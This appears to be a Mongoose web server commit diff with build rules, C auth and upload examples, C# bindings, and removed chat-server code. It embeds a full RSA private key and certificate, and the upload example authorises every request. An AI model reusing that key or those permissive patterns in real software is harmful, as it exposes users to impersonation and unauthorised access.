CFLAGS= -W -Wall -I.. -pthread -g
|
||||
CFLAGS = -W -Wall -I.. -pthread -g -pipe $(CFLAGS_EXTRA)
|
||||
RM = rm -rf
|
||||
OUT = -o $@
|
||||
|
||||
all:
|
||||
OS=`uname`; \
|
||||
test "$$OS" = Linux && LIBS="-ldl" ; \
|
||||
$(CC) $(CFLAGS) hello.c ../mongoose.c $$LIBS $(ADD) -o hello;
|
||||
$(CC) $(CFLAGS) upload.c ../mongoose.c $$LIBS $(ADD) -o upload;
|
||||
$(CC) $(CFLAGS) post.c ../mongoose.c $$LIBS $(ADD) -o post;
|
||||
$(CC) $(CFLAGS) -DUSE_WEBSOCKET websocket.c ../mongoose.c $$LIBS $(ADD) -o websocket;
|
||||
$(CC) $(CFLAGS) chat.c ../mongoose.c $$LIBS $(ADD) -o chat
|
||||
ifeq ($(OS),Windows_NT)
|
||||
MSVC = ../../vc6
|
||||
RM = del /q /f
|
||||
OUT =
|
||||
CC = $(MSVC)/bin/cl
|
||||
CFLAGS = /MD /TC /nologo /W3 /I$(MSVC)/include /I..
|
||||
CFLAGS += /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
|
||||
CFLAGS += $(CFLAGS_EXTRA)
|
||||
else
|
||||
UNAME_S := $(shell uname -s)
|
||||
CC = g++
|
||||
CFLAGS += -lssl -g -O0
|
||||
|
||||
ifeq ($(UNAME_S),Linux)
|
||||
CFLAGS += -ldl
|
||||
endif
|
||||
|
||||
ifeq ($(UNAME_S),Darwin)
|
||||
endif
|
||||
endif
|
||||
|
||||
all: hello websocket server post multi_threaded upload auth
|
||||
|
||||
# To enable Lua in a server, uncomment following lines
|
||||
LUA = ../lua-5.2.3/src
|
||||
#CFLAGS += -I$(LUA) -L$(LUA) -llua -DMONGOOSE_USE_LUA
|
||||
|
||||
server: server.c ../mongoose.c
|
||||
$(CC) server.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
hello: hello.c ../mongoose.c
|
||||
$(CC) hello.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
websocket: websocket_html.c websocket.c ../mongoose.c
|
||||
$(CC) websocket.c websocket_html.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
post: post.c ../mongoose.c
|
||||
$(CC) post.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
multi_threaded: multi_threaded.c ../mongoose.c
|
||||
$(CC) multi_threaded.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
upload: upload.c ../mongoose.c
|
||||
$(CC) upload.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
auth: auth.c ../mongoose.c
|
||||
$(CC) auth.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
file: file.c ../mongoose.c
|
||||
$(CC) file.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
form: form.c ../mongoose.c
|
||||
$(CC) form.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
mjpg: mjpg.c ../mongoose.c
|
||||
$(CC) mjpg.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
pubsub: websocket2.c ../mongoose.c
|
||||
$(CC) websocket2.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||
|
||||
|
||||
MSVC = e:/vc6
|
||||
CL = $(MSVC)/bin/cl
|
||||
CLFLAGS = /MD /TC /nologo $(DBG) /W3 /DNO_SSL \
|
||||
/I$(MSVC)/include /I.. /Dsnprintf=_snprintf \
|
||||
/link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
|
||||
proxy: proxy.c ../mongoose.c
|
||||
$(CC) proxy.c ../mongoose.c $(OUT) \
|
||||
-I../../net_skeleton -DNS_ENABLE_SSL -lssl $(CFLAGS)
|
||||
|
||||
windows:
|
||||
$(CL) upload.c ../mongoose.c $(CLFLAGS)
|
||||
$(CL) hello.c ../mongoose.c $(CLFLAGS)
|
||||
$(CL) upload.c ../mongoose.c $(CLFLAGS)
|
||||
$(CL) post.c ../mongoose.c $(CLFLAGS)
|
||||
$(CL) post.c ../mongoose.c $(CLFLAGS)
|
||||
$(CL) /DUSE_WEBSOCKET websocket.c ../mongoose.c $(CLFLAGS)
|
||||
websocket_html.c: websocket.html
|
||||
perl mkdata.pl $< > $@
|
||||
|
||||
u:
|
||||
$(CC) unit_test.c $(OUT) $(CFLAGS)
|
||||
./$@
|
||||
|
||||
clean:
|
||||
rm -rf hello hello.exe upload upload.exe post post.exe websocket websocket.exe chat chat.exe *.dSYM *.obj
|
||||
-@$(RM) hello mjpg upload post websocket auth file server multi_threaded proxy websocket_html.c *.exe *.dSYM *.obj .*o u a.out
|
||||
@@ -0,0 +1,36 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
|
||||
if (ev == MG_AUTH) {
|
||||
int result = MG_FALSE; // Not authorized
|
||||
FILE *fp;
|
||||
|
||||
// To populate passwords file, do
|
||||
// mongoose -A my_passwords.txt mydomain.com admin admin
|
||||
if ((fp = fopen("my_passwords.txt", "r")) != NULL) {
|
||||
result = mg_authorize_digest(conn, fp);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
return MG_FALSE;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server = mg_create_server(NULL, ev_handler);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
mg_set_option(server, "document_root", ".");
|
||||
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
struct file_data {
|
||||
FILE *fp;
|
||||
const char *data;
|
||||
int data_len;
|
||||
int written;
|
||||
};
|
||||
|
||||
static int handle_request(struct mg_connection *conn) {
|
||||
const char *data;
|
||||
int data_len;
|
||||
char var_name[100], file_name[100], path[100];
|
||||
|
||||
if (strcmp(conn->uri, "/upload") == 0) {
|
||||
if (mg_parse_multipart(conn->content, conn->content_len,
|
||||
var_name, sizeof(var_name),
|
||||
file_name, sizeof(file_name),
|
||||
&data, &data_len) > 0) {
|
||||
struct file_data *p = (struct file_data *) malloc(sizeof(*p));
|
||||
snprintf(path, sizeof(path), "UPLOAD_%s", file_name);
|
||||
p->fp = fopen(path, "wb");
|
||||
p->data = data;
|
||||
p->data_len = data_len;
|
||||
p->written = 0;
|
||||
conn->connection_param = p;
|
||||
mg_send_header(conn, "Content-Type", "text/html");
|
||||
}
|
||||
return MG_MORE; // Tell mongoose to keep this connection open
|
||||
} else {
|
||||
mg_printf_data(conn, "%s",
|
||||
"<html><body>Upload example."
|
||||
"<form method=\"POST\" action=\"/upload\" "
|
||||
" enctype=\"multipart/form-data\">"
|
||||
"<input type=\"file\" name=\"file\" /> <br/>"
|
||||
"<input type=\"submit\" value=\"Upload\" />"
|
||||
"</form></body></html>");
|
||||
return MG_TRUE; // Tell mongoose to close this connection
|
||||
}
|
||||
}
|
||||
|
||||
static int handle_poll(struct mg_connection *conn) {
|
||||
struct file_data *p = (struct file_data *) conn->connection_param;
|
||||
if (p != NULL) {
|
||||
// Write no more then 100 bytes in one go
|
||||
int len = p->data_len - p->written;
|
||||
int n = fwrite(p->data + p->written, 1, len > 100 ? 100 : len, p->fp);
|
||||
if (n > 0) {
|
||||
p->written += n;
|
||||
mg_send_data(conn, " ", 1); // Send something back to wake up select()
|
||||
}
|
||||
|
||||
// If everything is written, close the connection
|
||||
if (p->written >= p->data_len) {
|
||||
mg_printf_data(conn, "Written %d bytes.", p->written);
|
||||
fclose(p->fp);
|
||||
free(p);
|
||||
conn->connection_param = NULL;
|
||||
return MG_TRUE; // Tell mongoose to close this connection
|
||||
}
|
||||
}
|
||||
return MG_FALSE; // Tell mongoose to keep this connection open
|
||||
}
|
||||
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
switch (ev) {
|
||||
case MG_AUTH: return MG_TRUE;
|
||||
case MG_REQUEST: return handle_request(conn);
|
||||
case MG_POLL: return handle_poll(conn);
|
||||
default: return MG_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server = mg_create_server(NULL, ev_handler);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
|
||||
mg_destroy_server(&server);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
// This file is part of mongoose web server project,
|
||||
// https://github.com/cesanta/mongoose
|
||||
|
||||
using System;
|
||||
|
||||
public class Program {
|
||||
static private int EventHandler(IntPtr conn_ptr, int ev) {
|
||||
MongooseConnection conn = (MongooseConnection)
|
||||
System.Runtime.InteropServices.Marshal.PtrToStructure(
|
||||
conn_ptr , typeof(MongooseConnection));
|
||||
|
||||
if (ev == 102) {
|
||||
// MG_AUTH
|
||||
return 1;
|
||||
} else if (ev == 103) {
|
||||
// MG_REQUEST
|
||||
Mongoose.send_data(conn_ptr, "Hello from C#!\n");
|
||||
Mongoose.send_data(conn_ptr, "URI: " + conn.uri + "\n");
|
||||
Mongoose.send_data(conn_ptr, "HTTP Headers:\n");
|
||||
|
||||
for (int i = 0; i < conn.num_headers; i++) {
|
||||
IntPtr name = conn.http_headers[i].name;
|
||||
IntPtr val = conn.http_headers[i].value;
|
||||
System.Runtime.InteropServices.Marshal.PtrToStringAnsi(name);
|
||||
Mongoose.send_data(conn_ptr, " " +
|
||||
System.Runtime.InteropServices.Marshal.PtrToStringAnsi(name) + ": " +
|
||||
System.Runtime.InteropServices.Marshal.PtrToStringAnsi(val) + "\n");
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void Main() {
|
||||
Mongoose web_server = new Mongoose(".", "9001",
|
||||
new MongooseEventHandler(EventHandler));
|
||||
|
||||
Console.WriteLine("Mongoose started, press Ctrl-C to exit.");
|
||||
for (;;) {
|
||||
web_server.poll(1000);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
// This file is part of mongoose web server project,
|
||||
// https://github.com/cesanta/mongoose
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr name;
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr value;
|
||||
};
|
||||
|
||||
// mongoose.h :: struct mg_connection
|
||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseConnection {
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string request_method;
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string uri;
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string http_version;
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string query_string;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray,SizeConst=48)] public char[] remote_ip;
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string local_ip;
|
||||
[MarshalAs(UnmanagedType.U2)] public short remote_port;
|
||||
[MarshalAs(UnmanagedType.U2)] public short local_port;
|
||||
|
||||
[MarshalAs(UnmanagedType.SysInt)] public int num_headers;
|
||||
[MarshalAs(UnmanagedType.ByValArray,SizeConst=30)]
|
||||
public MongooseHeader[] http_headers;
|
||||
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr content;
|
||||
[MarshalAs(UnmanagedType.SysInt)] public int content_len;
|
||||
|
||||
[MarshalAs(UnmanagedType.SysInt)] public int is_websocket;
|
||||
[MarshalAs(UnmanagedType.SysInt)] public int status_code;
|
||||
[MarshalAs(UnmanagedType.SysInt)] public int wsbits;
|
||||
};
|
||||
|
||||
public delegate int MongooseEventHandler(IntPtr c, int ev);
|
||||
|
||||
public class Mongoose {
|
||||
public const string dll_ = "mongoose";
|
||||
private IntPtr server_;
|
||||
|
||||
[DllImport(dll_)] private static extern IntPtr
|
||||
mg_create_server(IntPtr user_data, MongooseEventHandler eh);
|
||||
[DllImport(dll_)] private static extern int
|
||||
mg_poll_server(IntPtr server, int milli);
|
||||
[DllImport(dll_)] private static extern IntPtr
|
||||
mg_set_option(IntPtr server, string name, string value);
|
||||
[DllImport(dll_)] public static extern int
|
||||
mg_send_data(IntPtr conn, string data, int length);
|
||||
|
||||
public Mongoose(string document_root,
|
||||
string listening_port,
|
||||
MongooseEventHandler event_handler) {
|
||||
server_ = mg_create_server(IntPtr.Zero, event_handler);
|
||||
mg_set_option(server_, "document_root", document_root);
|
||||
mg_set_option(server_, "listening_port", listening_port);
|
||||
}
|
||||
|
||||
public static int send_data(IntPtr conn, string data) {
|
||||
return mg_send_data(conn, data, data.Length);
|
||||
}
|
||||
|
||||
public void poll(int milli) {
|
||||
mg_poll_server(server_, milli);
|
||||
}
|
||||
|
||||
// TODO: add destructor and call mg_destroy_server()
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEA8FV466yTGIUkJqjBv2CTU/HeYKXYd7D6m8fY9daRLm9cKPhB
|
||||
kPvLyhdenOH88uAAYqmKf2dZvP5SxFnBKT52Hr0XpUfC8Y3iVjHxwMgNRaiSkfDP
|
||||
mIEb2qcpJoMrdos/ff46itqwr9wW3+7kjRlxM1Mu5pq4EibSHeVyaPWVCgENcA1m
|
||||
4beQujI1SSBkLOfmgpw/SsyzyTgXm+kOdj7vKy3EbXseGPtHJ04oZ7qwol1NFrrq
|
||||
HwO87HWHxyQr7uJ4TBH37gL7QCdjHsOdN94alxEUWTRfmzZFXVlsTnq5DBnnGhtq
|
||||
ibpUC8WeI3QiFNtTBKkHviAm+6iWW6gG2TO4twIDAQABAoIBAHxLWBxaxkB6KzYr
|
||||
NPirE8boYiAN5aQRTarfcp/B9pfTVBCERDSdZMoByBbO8akSnGBqWoyFgO2zgk62
|
||||
NKYF/cTr+pyqPnH69UGq1uLjE6ohApyjtFmk/CjbJvcaA5JtdcrNfq1taM+qvdHW
|
||||
lTE8JUVsEeeFwQjyNtzrW35Y9FmVLSmMNsESChLnrsa7IxwnfRpHc+hmj+7lxZO6
|
||||
ZzAaCCo9qHR1Ddi5f+0DJoXGBBGOk6C4BWLaV+fHPcsYHESrepitGfS96AQ0Wspn
|
||||
qqtAp6jv+iIfgpohYylIjOPcHf3dXpINTxwz/r3XicqBaSAx2lXb+vnxERmagGKC
|
||||
RUpELVECgYEA/EHUDwJRBUMvGXjRQO9R0JLp59U2UZOvAjmIAHkLM/48k8//kpgJ
|
||||
CDUVvuyQUfwCphmaiAm5BZfDbmhBEirjCai8fYkrGugQl9H1YrVsi+UhQudnSRM0
|
||||
7plKIb9nz9by31J1iu5YHTpovO5MQjH5UP1boqAioBNoBuzFI0QK1uMCgYEA8+Za
|
||||
0NDocnE+V2NpRag+oMbM/LBgSWyk49NXYUOhuv4CZ8f20nFYx6p9RLD0ICUOxC3B
|
||||
TkHybnGhRjuR+LkbuynW2wM2+jwcLe+ZPnXZsNKJwST9fzus06BWHyBTJHfhUDO3
|
||||
cq6PUDJua6NQa++rj+ur1LSFPuwnC+X2FxMd6x0CgYEAweyhZ4ByZMdHWB+nTnIs
|
||||
xVmL9CvW/FO6gM1Vnndvg2L5kvCeG0ZB+0tEEmiucjh4mNSqFdbTpFcNaL1A+QR7
|
||||
UZukfCWNO7wXtX81U9MBRXK6ZUKcBnN7h8nUUalh10f5onEz58BfgOi8SDIx8dmV
|
||||
Pwvm/Fh7BfClUl2HGBtg8d0CgYBEDWwdg4y4EdzhKT3AT9dZqN6dSuEy23uOjfN9
|
||||
kg9YS3OEXYkC4tlwrKNTPUSAi5Z5KoMbQM9R/aaQICL0kUGpkVz/sv/uBkOelZHe
|
||||
madp7PS+zYFltNLeIYimGrDYJhLZ+/QdrZMTP18L7X+M/kySVaGWMeBT1DR432sw
|
||||
uQbKCQKBgQC9D9fxDXCFxJmJc2Cp8ZYQha4Oc10JsanM1DM1YWIaOILfoExz46vZ
|
||||
UJzRfe2LkkhhRN9YG4ZW6zJ1E/HZSjKC2iwHog/4bDjykVPrFIfPdWS2C1CQF/Jq
|
||||
tYnHTpuxE3JFXZrLXbDobFKbxHOZRdlSUu8NK/V507Y34NaMPHnffw==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIID4DCCAsigAwIBAgIJAM1yCH8CR4Z+MA0GCSqGSIb3DQEBBQUAMFMxFDASBgNV
|
||||
BAMTC2Nlc2FudGEuY29tMR0wGwYDVQQKExRDZXNhbnRhIFNvZnR3YXJlIEx0ZDEL
|
||||
MAkGA1UEBhMCSUUxDzANBgNVBAcTBkR1YmxpbjAeFw0xNDA2MjcxMDUwNTBaFw0y
|
||||
NDA2MjQxMDUwNTBaMFMxFDASBgNVBAMTC2Nlc2FudGEuY29tMR0wGwYDVQQKExRD
|
||||
ZXNhbnRhIFNvZnR3YXJlIEx0ZDELMAkGA1UEBhMCSUUxDzANBgNVBAcTBkR1Ymxp
|
||||
bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPBVeOuskxiFJCaowb9g
|
||||
k1Px3mCl2Hew+pvH2PXWkS5vXCj4QZD7y8oXXpzh/PLgAGKpin9nWbz+UsRZwSk+
|
||||
dh69F6VHwvGN4lYx8cDIDUWokpHwz5iBG9qnKSaDK3aLP33+OorasK/cFt/u5I0Z
|
||||
cTNTLuaauBIm0h3lcmj1lQoBDXANZuG3kLoyNUkgZCzn5oKcP0rMs8k4F5vpDnY+
|
||||
7ystxG17Hhj7RydOKGe6sKJdTRa66h8DvOx1h8ckK+7ieEwR9+4C+0AnYx7DnTfe
|
||||
GpcRFFk0X5s2RV1ZbE56uQwZ5xobaom6VAvFniN0IhTbUwSpB74gJvuolluoBtkz
|
||||
uLcCAwEAAaOBtjCBszAdBgNVHQ4EFgQUwvetHY2/J2F788UvFPADTlaUS10wgYMG
|
||||
A1UdIwR8MHqAFML3rR2Nvydhe/PFLxTwA05WlEtdoVekVTBTMRQwEgYDVQQDEwtj
|
||||
ZXNhbnRhLmNvbTEdMBsGA1UEChMUQ2VzYW50YSBTb2Z0d2FyZSBMdGQxCzAJBgNV
|
||||
BAYTAklFMQ8wDQYDVQQHEwZEdWJsaW6CCQDNcgh/AkeGfjAMBgNVHRMEBTADAQH/
|
||||
MA0GCSqGSIb3DQEBBQUAA4IBAQDA3QTlZ2aUe4IIDU+yZmu3XRxJ4FGpOlC0nD1j
|
||||
uwHWDaHfr0WMDjwSoEHbhsc0tapXOpG+hFImHemDS82SuC2c8lNKEJeXgdF3Rqeo
|
||||
aIB8sklgHsJG1DoCwC5TIMaccmbALWctouELGFb8aDF+dczKaaDTW+/dgR47GvD5
|
||||
NBTka2A56U3emmXRpOOtzOz/68lxgACXc+M3yrxbYt9a95rl6wwzNlLHDwPzqhzd
|
||||
ayQ9Q8wmZpWZK1oc8oKKuEXA3zG6jJkrmC8VD5j0WRLgC7SV/zlaAUR/zEisstrh
|
||||
ZVMiJ0NoZmAPVRm0MyBHtBHJFcn/z/FlhqCBLsmDxJ/aOEMT
|
||||
-----END CERTIFICATE-----
|
||||
+8
-383
@@ -1,390 +1,15 @@
|
||||
// This file is part of the Mongoose project, http://code.google.com/p/mongoose
|
||||
// It implements an online chat server. For more details,
|
||||
// see the documentation on the project web site.
|
||||
// To test the application,
|
||||
// 1. type "make" in the directory where this file lives
|
||||
// 2. point your browser to http://127.0.0.1:8081
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <assert.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <stdarg.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#include "mongoose.h"
|
||||
|
||||
#define MAX_USER_LEN 20
|
||||
#define MAX_MESSAGE_LEN 100
|
||||
#define MAX_MESSAGES 5
|
||||
#define MAX_SESSIONS 2
|
||||
#define SESSION_TTL 120
|
||||
|
||||
static const char *authorize_url = "/authorize";
|
||||
static const char *login_url = "/login.html";
|
||||
static const char *ajax_reply_start =
|
||||
"HTTP/1.1 200 OK\r\n"
|
||||
"Cache: no-cache\r\n"
|
||||
"Content-Type: application/x-javascript\r\n"
|
||||
"\r\n";
|
||||
|
||||
// Describes single message sent to a chat. If user is empty (0 length),
|
||||
// the message is then originated from the server itself.
|
||||
struct message {
|
||||
long id; // Message ID
|
||||
char user[MAX_USER_LEN]; // User that have sent the message
|
||||
char text[MAX_MESSAGE_LEN]; // Message text
|
||||
time_t timestamp; // Message timestamp, UTC
|
||||
};
|
||||
|
||||
// Describes web session.
|
||||
struct session {
|
||||
char session_id[33]; // Session ID, must be unique
|
||||
char random[20]; // Random data used for extra user validation
|
||||
char user[MAX_USER_LEN]; // Authenticated user
|
||||
time_t expire; // Expiration timestamp, UTC
|
||||
};
|
||||
|
||||
static struct message messages[MAX_MESSAGES]; // Ringbuffer for messages
|
||||
static struct session sessions[MAX_SESSIONS]; // Current sessions
|
||||
static long last_message_id;
|
||||
|
||||
// Protects messages, sessions, last_message_id
|
||||
static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;
|
||||
|
||||
// Get session object for the connection. Caller must hold the lock.
|
||||
static struct session *get_session(const struct mg_connection *conn) {
|
||||
int i;
|
||||
char session_id[33];
|
||||
time_t now = time(NULL);
|
||||
mg_get_cookie(conn, "session", session_id, sizeof(session_id));
|
||||
for (i = 0; i < MAX_SESSIONS; i++) {
|
||||
if (sessions[i].expire != 0 &&
|
||||
sessions[i].expire > now &&
|
||||
strcmp(sessions[i].session_id, session_id) == 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return i == MAX_SESSIONS ? NULL : &sessions[i];
|
||||
}
|
||||
|
||||
static void get_qsvar(const struct mg_request_info *request_info,
|
||||
const char *name, char *dst, size_t dst_len) {
|
||||
const char *qs = request_info->query_string;
|
||||
mg_get_var(qs, strlen(qs == NULL ? "" : qs), name, dst, dst_len);
|
||||
}
|
||||
|
||||
// Get a get of messages with IDs greater than last_id and transform them
|
||||
// into a JSON string. Return that string to the caller. The string is
|
||||
// dynamically allocated, caller must free it. If there are no messages,
|
||||
// NULL is returned.
|
||||
static char *messages_to_json(long last_id) {
|
||||
const struct message *message;
|
||||
int max_msgs, len;
|
||||
char buf[sizeof(messages)]; // Large enough to hold all messages
|
||||
|
||||
// Read-lock the ringbuffer. Loop over all messages, making a JSON string.
|
||||
pthread_rwlock_rdlock(&rwlock);
|
||||
len = 0;
|
||||
max_msgs = sizeof(messages) / sizeof(messages[0]);
|
||||
// If client is too far behind, return all messages.
|
||||
if (last_message_id - last_id > max_msgs) {
|
||||
last_id = last_message_id - max_msgs;
|
||||
}
|
||||
for (; last_id < last_message_id; last_id++) {
|
||||
message = &messages[last_id % max_msgs];
|
||||
if (message->timestamp == 0) {
|
||||
break;
|
||||
}
|
||||
// buf is allocated on stack and hopefully is large enough to hold all
|
||||
// messages (it may be too small if the ringbuffer is full and all
|
||||
// messages are large. in this case asserts will trigger).
|
||||
len += snprintf(buf + len, sizeof(buf) - len,
|
||||
"{user: '%s', text: '%s', timestamp: %lu, id: %lu},",
|
||||
message->user, message->text, message->timestamp, message->id);
|
||||
assert(len > 0);
|
||||
assert((size_t) len < sizeof(buf));
|
||||
}
|
||||
pthread_rwlock_unlock(&rwlock);
|
||||
|
||||
return len == 0 ? NULL : strdup(buf);
|
||||
}
|
||||
|
||||
// If "callback" param is present in query string, this is JSONP call.
|
||||
// Return 1 in this case, or 0 if "callback" is not specified.
|
||||
// Wrap an output in Javascript function call.
|
||||
static int handle_jsonp(struct mg_connection *conn,
|
||||
const struct mg_request_info *request_info) {
|
||||
char cb[64];
|
||||
|
||||
get_qsvar(request_info, "callback", cb, sizeof(cb));
|
||||
if (cb[0] != '\0') {
|
||||
mg_printf(conn, "%s(", cb);
|
||||
}
|
||||
|
||||
return cb[0] == '\0' ? 0 : 1;
|
||||
}
|
||||
|
||||
// A handler for the /ajax/get_messages endpoint.
|
||||
// Return a list of messages with ID greater than requested.
|
||||
static void ajax_get_messages(struct mg_connection *conn,
|
||||
const struct mg_request_info *request_info) {
|
||||
char last_id[32], *json;
|
||||
int is_jsonp;
|
||||
|
||||
mg_printf(conn, "%s", ajax_reply_start);
|
||||
is_jsonp = handle_jsonp(conn, request_info);
|
||||
|
||||
get_qsvar(request_info, "last_id", last_id, sizeof(last_id));
|
||||
if ((json = messages_to_json(strtoul(last_id, NULL, 10))) != NULL) {
|
||||
mg_printf(conn, "[%s]", json);
|
||||
free(json);
|
||||
}
|
||||
|
||||
if (is_jsonp) {
|
||||
mg_printf(conn, "%s", ")");
|
||||
}
|
||||
}
|
||||
|
||||
// Allocate new message. Caller must hold the lock.
|
||||
static struct message *new_message(void) {
|
||||
static int size = sizeof(messages) / sizeof(messages[0]);
|
||||
struct message *message = &messages[last_message_id % size];
|
||||
message->id = last_message_id++;
|
||||
message->timestamp = time(0);
|
||||
return message;
|
||||
}
|
||||
|
||||
static void my_strlcpy(char *dst, const char *src, size_t len) {
|
||||
strncpy(dst, src, len);
|
||||
dst[len - 1] = '\0';
|
||||
}
|
||||
|
||||
// A handler for the /ajax/send_message endpoint.
|
||||
static void ajax_send_message(struct mg_connection *conn,
|
||||
const struct mg_request_info *request_info) {
|
||||
struct message *message;
|
||||
struct session *session;
|
||||
char text[sizeof(message->text) - 1];
|
||||
int is_jsonp;
|
||||
|
||||
mg_printf(conn, "%s", ajax_reply_start);
|
||||
is_jsonp = handle_jsonp(conn, request_info);
|
||||
|
||||
get_qsvar(request_info, "text", text, sizeof(text));
|
||||
if (text[0] != '\0') {
|
||||
// We have a message to store. Write-lock the ringbuffer,
|
||||
// grab the next message and copy data into it.
|
||||
pthread_rwlock_wrlock(&rwlock);
|
||||
message = new_message();
|
||||
// TODO(lsm): JSON-encode all text strings
|
||||
session = get_session(conn);
|
||||
assert(session != NULL);
|
||||
my_strlcpy(message->text, text, sizeof(text));
|
||||
my_strlcpy(message->user, session->user, sizeof(message->user));
|
||||
pthread_rwlock_unlock(&rwlock);
|
||||
}
|
||||
|
||||
mg_printf(conn, "%s", text[0] == '\0' ? "false" : "true");
|
||||
|
||||
if (is_jsonp) {
|
||||
mg_printf(conn, "%s", ")");
|
||||
}
|
||||
}
|
||||
|
||||
// Redirect user to the login form. In the cookie, store the original URL
|
||||
// we came from, so that after the authorization we could redirect back.
|
||||
static void redirect_to_login(struct mg_connection *conn,
|
||||
const struct mg_request_info *request_info) {
|
||||
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
|
||||
"Set-Cookie: original_url=%s\r\n"
|
||||
"Location: %s\r\n\r\n",
|
||||
request_info->uri, login_url);
|
||||
}
|
||||
|
||||
// Return 1 if username/password is allowed, 0 otherwise.
|
||||
static int check_password(const char *user, const char *password) {
|
||||
// In production environment we should ask an authentication system
|
||||
// to authenticate the user.
|
||||
// Here however we do trivial check that user and password are not empty
|
||||
return (user[0] && password[0]);
|
||||
}
|
||||
|
||||
// Allocate new session object
|
||||
static struct session *new_session(void) {
|
||||
int i;
|
||||
time_t now = time(NULL);
|
||||
pthread_rwlock_wrlock(&rwlock);
|
||||
for (i = 0; i < MAX_SESSIONS; i++) {
|
||||
if (sessions[i].expire == 0 || sessions[i].expire < now) {
|
||||
sessions[i].expire = time(0) + SESSION_TTL;
|
||||
break;
|
||||
}
|
||||
}
|
||||
pthread_rwlock_unlock(&rwlock);
|
||||
return i == MAX_SESSIONS ? NULL : &sessions[i];
|
||||
}
|
||||
|
||||
// Generate session ID. buf must be 33 bytes in size.
|
||||
// Note that it is easy to steal session cookies by sniffing traffic.
|
||||
// This is why all communication must be SSL-ed.
|
||||
static void generate_session_id(char *buf, const char *random,
|
||||
const char *user) {
|
||||
mg_md5(buf, random, user, NULL);
|
||||
}
|
||||
|
||||
static void send_server_message(const char *fmt, ...) {
|
||||
va_list ap;
|
||||
struct message *message;
|
||||
|
||||
pthread_rwlock_wrlock(&rwlock);
|
||||
message = new_message();
|
||||
message->user[0] = '\0'; // Empty user indicates server message
|
||||
va_start(ap, fmt);
|
||||
vsnprintf(message->text, sizeof(message->text), fmt, ap);
|
||||
va_end(ap);
|
||||
|
||||
pthread_rwlock_unlock(&rwlock);
|
||||
}
|
||||
|
||||
// A handler for the /authorize endpoint.
|
||||
// Login page form sends user name and password to this endpoint.
|
||||
static void authorize(struct mg_connection *conn,
|
||||
const struct mg_request_info *request_info) {
|
||||
char user[MAX_USER_LEN], password[MAX_USER_LEN];
|
||||
struct session *session;
|
||||
|
||||
// Fetch user name and password.
|
||||
get_qsvar(request_info, "user", user, sizeof(user));
|
||||
get_qsvar(request_info, "password", password, sizeof(password));
|
||||
|
||||
if (check_password(user, password) && (session = new_session()) != NULL) {
|
||||
// Authentication success:
|
||||
// 1. create new session
|
||||
// 2. set session ID token in the cookie
|
||||
// 3. remove original_url from the cookie - not needed anymore
|
||||
// 4. redirect client back to the original URL
|
||||
//
|
||||
// The most secure way is to stay HTTPS all the time. However, just to
|
||||
// show the technique, we redirect to HTTP after the successful
|
||||
// authentication. The danger of doing this is that session cookie can
|
||||
// be stolen and an attacker may impersonate the user.
|
||||
// Secure application must use HTTPS all the time.
|
||||
